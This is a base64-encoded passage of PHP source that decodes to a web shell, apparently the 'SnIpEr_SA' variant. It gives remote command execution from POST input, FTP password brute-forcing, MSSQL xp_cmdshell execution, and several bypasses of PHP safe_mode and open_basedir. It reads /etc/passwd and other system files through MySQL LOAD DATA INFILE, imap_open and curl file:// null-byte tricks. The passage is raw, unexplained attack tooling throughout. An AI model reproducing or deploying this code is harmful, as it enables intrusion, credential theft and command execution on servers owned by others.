T1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsgICAgICAgIH0NCiAgIH0NCiAgfQ0KIEBmdHBfY2 xvc2UoJGNvbm5lY3Rpb24pOw0KICRfUE9TVFsnY21kJ10gPSAiIjsNCiB9DQoNCmlmKCFlbXB0eSgkX1BP U1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogbGlzdCgkZnRwX3Nlcn ZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVt cHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubm VjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyAk X1BPU1RbJ2NtZCddID0gIiI7IH0NCiBlbHNlIGlmKCEkdXNlcnM9Z2V0X3VzZXJzKCkpIHsgZWNobyAiPH RhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I2NjY2NjYz48 dHI+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBjb2xvcj1yZWQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZG l2IGFsaWduPWNlbnRlcj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NiddLiI8L2I+PC9kaXY+PC9m b250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQ0KIEBmdHBfY2xvc2UoJG Nvbm5lY3Rpb24pOw0KIH0NCmVjaG8gJHRhYmxlX3VwMzsNCg0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10p JiYhJHNhZmVfbW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH 0NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJz YWZlX2RpciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE 9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+ PHRleHRhcmVhIG5hbWU9cmVwb3J0IGNvbHM9MTIxIHJvd3M9MTU+IjsNCg0KDQoNCg0KaWYgKCRtZXRob2 Q9PSJmaWxlIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlKCRmaWxlKSkgew0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXIgPSBmaWxlKCRmaWxlKTsNCg0KICAgICAgIC AgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXIgYXMgJGEpIHsgZWNobyAkYTsgfQ0K DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgIC AgICAgICBlY2hvICI8c2NyaXB0PiBhbGVydChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW5n OiBmaWxlXCIpOyA8L3NjcmlwdD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgIC AgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09ImZyZWFkIikgew0KICAgICAgICAgICAg ICAgICAgICAgICAgaWYgKEBmb3BlbigkZmlsZSwgJ3InKSkgew0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHN0cmluZyA9IGZyZWFkKCRmcCwgZmlsZXNpemUoJGZpbGUpKTsNCiAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBlY2hvICRzdHJpbmc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvcHJlPi I7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICBlY2hvICI8c2NyaXB0PiBhbGVydChcInVuYWJsZSB0byByZWFkIGZpbGU6ICRmaWxlIHVzaW 5nOiBmcmVhZFwiKTsgPC9zY3JpcHQ+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg ICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJzaG93X3NvdXJjZSIpIHsNCiAgIC AgICAgICAgICAgICAgICAgICAgIGlmIChzaG93X3NvdXJjZSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgICBlY2hvIHNob3dfc291cmNlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgIC AgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+IGFsZXJ0KFwidW5hYmxlIHRvIHJlYWQgZmls ZTogJGZpbGUgdXNpbmc6IHNob3dfc291cmNlXCIpOyA8L3NjcmlwdD4iOw0KICAgICAgICAgICAgICAgIC AgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0i cmVhZGZpbGUiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgIC AgICAgICAgICAgICAgICBpZiAocmVhZGZpbGUoJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIC8vZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2 VjaG8gcmVhZGZpbGUoJGZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8 L3ByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ZWNobyAiPHNjcmlwdD4gYWxlcnQoXCJ1bmFibGUgdG8gcmVhZCBmaWxlOiAkZmlsZSB1c2luZzogcmVhZG ZpbGVcIik7IDwvc2NyaXB0PiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAg ICAgICB9DQoNCmZ1bmN0aW9uIGRvemlwMSgkbGluaywkZmlsZSkNCnsNCiAgICRmcCA9IEBmb3BlbigkbG luaywiciIpOw0KICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgIHsNCiAgICAgICAkY29udC49IGZyZWFkKCRm cCwxMDI0KTsNCiAgIH0NCiAgIGZjbG9zZSgkZnApOw0KDQogICAkZnAyID0gQGZvcGVuKCRmaWxlLCJ3Ii k7DQogICBmd3JpdGUoJGZwMiwkY29udCk7DQogICBmY2xvc2UoJGZwMik7DQp9DQppZiAoaXNzZXQoJF9Q T1NUWydmdW56aXAnXSkpDQp7DQpkb3ppcDEoJF9QT1NUWydmdW56aXAnXSwkX1BPU1RbJ2Z6aXAnXSk7DQ p9DQppZihlbXB0eSgkX1BPU1RbJ3Jvb3QnXSkpew0KfSBlbHNlIHsNCiAgICRyb290ID0gJF9QT1NUWydy b290J107IH0NCg0KDQoNCg0KICAkYyA9IDA7ICREID0gYXJyYXkoKTsNCiAgc2V0X2Vycm9yX2hhbmRsZX IoImVoIik7DQoNCiAgJGNoYXJzID0gIl8tLjAxMjM0NTY3ODkwYWJjZGVmZ2hpamtsbm1vcHFyc3R1dnd4 eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7DQoNCiAgZm9yKCRpPTA7ICRpIDwgc3RybGVuKCRjaG Fycyk7ICRpKyspew0KICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIv IiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX0iOw0KDQogICRwcmV2RCA9ICREW2NvdW50KCREKS0xXTsNCiAgZ2 xvYigkcGF0aC4iKiIpOw0KDQogICAgICAgIGlmKCREW2NvdW50KCREKS0xXSAhPSAkcHJldkQpew0KDQog ICAgICAgIGZvcigkaj0wOyAkaiA8IHN0cmxlbigkY2hhcnMpOyAkaisrKXsNCg0KICAgICAgICAgICAkcG F0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJz WyRpXX17JGNoYXJzWyRqXX0iOw0KDQogICAgICAgICAgICRwcmV2RDIgPSAkRFtjb3VudCgkRCktMV07DQ ogICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICBpZigkRFtjb3VudCgkRCkt MV0gIT0gJHByZXZEMil7DQoNCg0KICAgICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJG NoYXJzKTsgJHArKyl7DQoNCiAgICAgICAgICAgICAgICAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigk cm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19eyRjaGFyc1skal19eyRjaGFyc1 skcF19IjsNCg0KICAgICAgICAgICAgICAgICAkcHJldkQzID0gJERbY291bnQoJEQpLTFdOw0KICAgICAg ICAgICAgICAgICBnbG9iKCRwYXRoLiIqIik7DQoNCiAgICAgICAgICAgICAgICAgICAgaWYoJERbY291bn QoJEQpLTFdICE9ICRwcmV2RDMpew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRyPTA7ICRy IDwgc3RybGVuKCRjaGFycyk7ICRyKyspew0KDQogICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0iey Ryb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXsk Y2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7DQogICAgICAgICAgICAgICAgICAgICAgIG dsb2IoJHBhdGguIioiKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAg ICAgICAgfQ0KDQogICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICB9DQoNCiAgICAgICAgfQ 0KDQogICAgICAgIH0NCg0KICB9DQoNCiAgJEQgPSBhcnJheV91bmlxdWUoJEQpOw0KDQoNCg0KDQogIGZv cmVhY2goJEQgYXMgJGl0ZW0pDQogIGlmKGlzc2V0KCRfUkVRVUVTVFsncm9vdCddKSkNCiAgZWNobyAiey RpdGVtfVxuIjsNCg0KDQoNCg0KICBmdW5jdGlvbiBlaCgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAk ZXJybGluZSl7DQoNCiAgICAgZ2xvYmFsICRELCAkYywgJGk7DQogICAgIHByZWdfbWF0Y2goIi9TQUZFXC BNT0RFXCBSZXN0cmljdGlvblwgaW5cIGVmZmVjdFwuLip3aG9zZVwgdWlkXCBpcyguKilpc1wgbm90XCBh bGxvd2VkXCB0b1wgYWNjZXNzKC4qKW93bmVkIGJ5IHVpZCguKikvIiwgJGVycnN0ciwgJG8pOw0KICAgIC BpZigkbyl7ICREWyRjXSA9ICRvWzJdOyAkYysrO30NCg0KICB9DQoNCg0KDQoNCg0KaWYoJHNhZmVfbW9k ZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZG lyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQo
KSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogIC AgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGlu aywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZS kgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmki LCRtdGltZSk7DQogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbn RmKCIlIDdzICIsJHNpemUpOw0KICAgICB9DQogICAgIGVsc2V7DQogICAgICRvd25lciA9IEBwb3NpeF9n ZXRwd3VpZCgkdWlkKTsNCiAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOw0KICAgICBlY2 hvICRpbm9kZS4iICI7DQogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOw0KICAgICBwcmlu dGYoIiUgNGQgJSA5cyAlIDlzICU3cyAiLCRubGluaywkb3duZXJbJ25hbWUnXSwkZ3JnaWRbJ25hbWUnXS wkc2l6ZSk7DQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppICIsJG10aW1lKTsNCiAgICAgfQ0KICAgICBl Y2hvICIkZmlsZVxuIjsNCiAgICB9DQogICAkZC0+Y2xvc2UoKTsNCiAgIH0NCiAgZWxzZSBlY2hvICRsYW 5nWyRsYW5ndWFnZS5fdGV4dDI5XTsNCiBicmVhazsNCiAgICB9DQp9DQplbHNlIGlmKCgkX1BPU1RbJ2Nt ZCddIT0icGhwX2V2YWwiKSYmKCRfUE9TVFsnY21kJ10hPSJteXNxbF9kdW1wIikmJigkX1BPU1RbJ2NtZC ddIT0iZGJfcXVlcnkiKSYmKCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSl7DQogJGNtZF9yZXAgPSBl eCgkX1BPU1RbJ2NtZCddKTsNCiBpZighJHVuaXgpIHsgZWNobyBAaHRtbHNwZWNpYWxjaGFycyhAY29udm VydF9jeXJfc3RyaW5nKCRjbWRfcmVwLCdkJywndycpKS4iXG4iOyB9DQogZWxzZSB7IGVjaG8gQGh0bWxz cGVjaWFsY2hhcnMoJGNtZF9yZXApLiJcbiI7IH19DQogaWYoJF9QT1NUWydjbWQnXSkNCnsNCiBzd2l0Y2 goJF9QT1NUWydjbWQnXSkNCiB7DQogIGNhc2UgJ3Rlc3QxJzoNCiAgJGNpID0gQGN1cmxfaW5pdCgiZmls ZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10uIiIpOw0KICAkY2YgPSBAY3VybF9leGVjKCRjaSk7DQogIG VjaG8gJGNmOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDInOg0KICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3Qy X2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICdteXNxbGInOg0KDQokbWhvc3QgPSAibG9jYWxob3N0Ij sNCiRtdXNlciA9ICRfUE9TVFsndGVzdDNfbWwnXTsNCiRtcGFzcyA9ICRfUE9TVFsndGVzdDNfbXAnXTsN CiRtZGIgICA9ICRfUE9TVFsndGVzdDNfbWQnXTsNCiRmaWxlID0gJF9QT1NUWyd0ZXN0M19maWxlJ 107DQoNCi8vIGRlZmF1bHQgbXlzcWxfcmVhZCBmaWxlcyBbc2VwZXJhdGVkIGJ5OiAnOiddOg0KJG15c3F sX2ZpbGVzX3N0ciA9ICIvZXRjL3Bhc3N3ZDovcHJvYy9jcHVpbmZvOi9ldGMvcmVzb2x2LmNvbmY6L2V0Y y9wcm9mdHBkLmNvbmYiOw0KJG15c3FsX2ZpbGVzID0gZXhwbG9kZSgnOicsICRteXNxbF9maWxlc19zdHI pOw0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAkc3FsID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJVU0UgJG1kYiIsDQoNCiAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ1JFQVRFIFR FTVBPUkFSWSBUQUJMRSAnIC4gKCR0YmwgPSAnQScudGltZSAoKSkgLiAnIChhIExPTkdCTE9CKScsDQoNC iAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUgJHRibCBGSUVMRFMgI g0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgIC4gIlRFUk1JTkFURUQgQlkgICAgICAgJ19fVEhJU19ORVZFUl9IQVBQRU5TX18nICINCiAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAuICJFU0NBUEVEIEJZICAgICAgICAgICcnICINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICJMSU5FUyBURVJNSU5BVEVEIEJZICd fX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU0VMRUNUIGEgRlJPTSAkdGJsIExJTUlUIDE iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgbXlzcWxfY29ubmVjdCAoJG1ob3N0LCAkbXVzZXIsICRtcGFzcyk7DQoNCiAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB mb3JlYWNoICgkc3FsIGFzICRzdGF0ZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcSA9IG15c3FsX3F1ZXJ5ICgkc3RhdGV tZW50KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgIGlmICgkcSA9PSBmYWxzZSkgZGllICgNCiAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiRkFJTEVEOiAiIC4gJ HN0YXRlbWVudCAuICJcbiIgLg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSRUFTT046ICIgLiBteXNxbF9lcnJvciAoKSAuICJcb iINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA gICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgaWYgKCEgJHIgPSBAbXlzcWxfZmV0Y2hfYXJyYXkgKCRxLCBNWVNRTF9 OVU0pKSBjb250aW51ZTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI CAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkclswXSk7DQogICAgICA gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb XlzcWxfZnJlZV9yZXN1bHQgKCRxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KZWNobyAiPC90ZXh0YXJlYT4iOw0KDQogYnJlY Ws7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9 TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc 3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCd dKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ 10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBTbklwRXJfU0FfdGVtcF9 0YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgU25JcEVyX1NBX3RlbXBfd GFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJ pbnNlcnQgaW50byBTbklwRXJfU0FfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJ yIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2V sZWN0ICogZnJvbSBTbklwRXJfU0FfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc 3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICA gICAgfQ0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBTbklwRXJfU0FfdGVtcF90YWJsZSIsJGRiK TsNCiAgICB9DQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7DQo gICBAbXNzcWxfY2xvc2UoJGRiKTsNCiAgIH0NCiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvb m5lY3QgdG8gTVNTUUwgc2VydmVyIjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q1JzoNCiAgaWYgKEBmaWx lX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsNC iAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAvdG1wL21iX3NlbmRfbWFpbCI 7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJGxpbmVzI D0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7DQogIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgeyB lY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLiJcclxuIjsgfQ0KICBicmVhazsNCiAgY2FzZSAndGVzd DYnOg0KICAkc3RyZWFtID0gQGltYXBfb3BlbignL2V0Yy9wYXNzd2QnLCAiIiwgIiIpOw0KICAkZGlyX2x pc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KI CBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0 uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q3JzoNC iAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJF9QT1NUWyd0ZXN0N19maWxlJ10sICIiLCAiIik7DQogICRzdHI gPSBAaW1hcF9ib2R5KCRzdHJlYW0sIDEpOw0KICBlY2hvICRzdHI7DQogIEBpbWFwX2Nsb3NlKCRzdHJlY W0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDgnOg0KICBpZihAY29weSgiY29tcHJlc3MuemxpYjovLyI uJF9QT1NUWyd0ZXN0OF9maWxlMSddLCAkX1BPU1RbJ3Rlc3Q4X2ZpbGUyJ10pKSBlY2hvICRsYW5nWyRsY W5ndWFnZS4nX3RleHQxMTgnXTsNCiAgZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTs NCiAgYnJlYWs7DQpjYXNlICdjVVJMJzoNCiAgIGlmKGVtcHR5KCRfUE9TVFsnU25JcEVyX1NBJ10pKXsNC g0KDQp9IGVsc2Ugew0KJGN1cmw9JF9QT1NUWydTbklwRXJfU0EnXTsNCiRjaCA9Y3VybF9pbml0KCJmaWx lOi8vLyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJT EVfXyk7DQpjdXJsX2V4ZWMoJGNoKTsNCnZhcl9kdW1wKGN1cmxfZXhlYygkY2gpKTsNCmVjaG8gIjwvdGV 4dGFyZWE+PC9DRU5URVI+IjsNCg0KfQ0KYnJlYWs7DQpjYXNlICdjb3B5JzoNCg0KaWYoZW1wdHkoJHNub ikpew0KaWYoZW1wdHkoJF9HRVRbJ3NubiddKSl7DQppZihlbXB0eSgkX1BPU1RbJ3NubiddKSl7DQoNCn0 gZWxzZSB7DQokdTFwPSRfUE9TVFsnc25uJ107DQp9DQp9IGVsc2Ugew0KJHUxcD0kX0dFVFsnc25uJ107D Qp9DQp9DQogICR1MXA9IiI7IC8vIEZpbGUgdG8gSW5jbHVkZS4uLiBvciB1c2UgX0dFVCBfUE9TVA0KJHR 5bWN6YXM9IiI7IC8vIFNldCAkdHltY3phcyB0byBkaXIgd2hlcmUgeW91IGhhdmUgNzc3IGxpa2UgL3Zhc i90bXANCg0KDQokdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCg0KaWYoY29weSgiY29tcHJlc3M uemxpYjovLyIuJHNubiwgJHRlbXApKXsNCiR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsNCiR0ZWtzd CA9IGZyZWFkKCR6cm9kbG8sIGZpbGVzaXplKCR0ZW1wKSk7DQpmY2xvc2UoJHpyb2Rsbyk7DQplY2hvICI iLmh0bWxzcGVjaWFsY2hhcnMoJHRla3N0KS4iIjsNCnVubGluaygkdGVtcCk7DQplY2hvICI8L3RleHRhc mVhPjwvQ0VOVEVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2luaV9yZXN0b3JlJzoNCiBpZihlbXB0eSgkX1B PU1RbJ2luaV9yZXN0b3JlJ10pKXsNCn0gZWxzZSB7DQoNCiRpbmk9JF9QT1NUWydpbmlfcmVzdG9yZSddO w0KZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsNCmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQp yZXF1aXJlX29uY2UoIiRpbmkiKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlK CJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9 wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQplY2hvICI8L3RleHRhcmVhPjwvQ0VOV EVSPiI7DQp9DQpicmVhazsNCmNhc2UgJ2dsb2InOg0KZnVuY3Rpb24gcmVnX2dsb2IoKQ0Kew0KJGNoZW1 pbj0kX1JFUVVFU1RbJ2dsb2InXTsNCiRmaWxlcyA9IGdsb2IoIiRjaGVtaW4qIik7DQoNCg0KZm9yZWFja CAoJGZpbGVzIGFzICRmaWxlbmFtZSkgew0KDQogICBlY2hvICIkZmlsZW5hbWVcbiI7DQoNCn0NCn0NCg0 KaWYoaXNzZXQoJF9SRVFVRVNUWydnbG9iJ10pKQ0Kew0KcmVnX2dsb2IoKTsNCn0NCg0KYnJlYWs7DQpjY XNlICd6ZW5kJzoNCiBpZihlbXB0eSgkX1BPU1RbJ3plbmQnXSkpew0KfSBlbHNlIHsNCg0KJGRlemVuZD0 kX1BPU1RbJ3plbmQnXTsNCmluY2x1ZGUoJF9QT1NUWyd6ZW5kJ10pOw0KcHJpbnRfcigkR0xPQkFMUyk7D QpyZXF1aXJlX29uY2UoIiRkZXplbmQiKTsNCmVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7DQp9DQpicmVhazs NCiAgY2FzZSAnc3ltMSc6DQogICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ltMXAnXSkpew0KICAgICAgICAgI 